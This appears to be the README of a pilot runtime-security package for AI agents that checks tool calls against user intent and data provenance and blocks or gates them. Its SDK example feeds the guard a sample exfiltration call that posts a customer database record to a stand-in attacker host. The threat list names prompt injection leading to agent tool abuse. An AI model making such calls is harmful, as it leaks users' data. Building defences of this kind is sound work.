Aegotrax (runtime core)

Runtime protection for AI agents — checks tool calls before they run.

Public site: https://aegotrax.com

This repository contains the open pilot runtime (package name in code: agentguard).

---

🛡️ AgentGuard v0.2 — Pilot-Ready Runtime Security for AI Agents

Runtime protection for autonomous agents: intercept tool calls, evaluate intent + data provenance, and block or require approval before sensitive actions run.

Supports:

• MCP Gateway (stdio) for agent frameworks
• Python SDK for direct integration with your existing tools

---

Install

pip install .
# with LangGraph demo deps:
pip install ".[demo]"

Commands after install:

agentguard-engine     # Risk Engine → http://127.0.0.1:8000
agentguard-gateway    # MCP Gateway (stdio)

Health check: curl http://127.0.0.1:8000/health

---

Pilot integration (SDK — recommended)

from agentguard import verify_tool_call, set_session_context, protected_tool

# 1) Register user intent for this session
set_session_context("sess-42", user_intent="Summarize the ticket only")

# 2) Before every tool call
result = verify_tool_call(
    session_id="sess-42",
    agent_id="support-agent",
    user_intent="Summarize the ticket only",
    tool="http_post",
    arguments={"url": "https://evil.example", "data": "customer_db_record"},
)

if result["decision"] == "BLOCK":
    raise PermissionError(result["reasons"])

# 3) Or decorate your real functions
@protected_tool(
    session_id_fn=lambda: "sess-42",
    agent_id_fn=lambda: "support-agent",
    user_intent_fn=lambda: "Summarize the ticket only",
)
def send_email(to: str, body: str):
    ...

---

Configuration (environment)

Policy override order: AGENTGUARD_POLICY_PATH → ./policy.yaml → package default.

---

Engine API (pilot)

---

Threats covered

• Indirect prompt injection leading to tool abuse
• Data provenance / multi-hop exfiltration
• Intent constraint violations (“summarize only” → outbound)
• Dangerous script execution

---

---

Security notes (read before running)

This is a local pilot / sandbox runtime — not a production security control.

1. Do not expose port 8000 to the internet.
   docker-compose binds 127.0.0.1:8000 only. Do not change this to 0.0.0.0 unless you set a strong AGENTGUARD_API_KEY.

2. Default gateway mode is simulate (no real outbound HTTP from the demo gateway).
   AGENTGUARD_MODE=forward plus AGENTGUARD_ALLOW_REAL_HTTP=1 enables real HTTP POST and must only be used in an isolated lab.

3. Policy is heuristic (keywords, allowlists, score thresholds). It will not catch every attack. Tune policy.yaml for your tools.

4. Audit logs may contain tool arguments (possibly sensitive). Redact before sharing logs in GitHub Issues or elsewhere.

5. Optional webhooks must be public HTTPS endpoints; loopback and private network targets are rejected.

License

Apache-2.0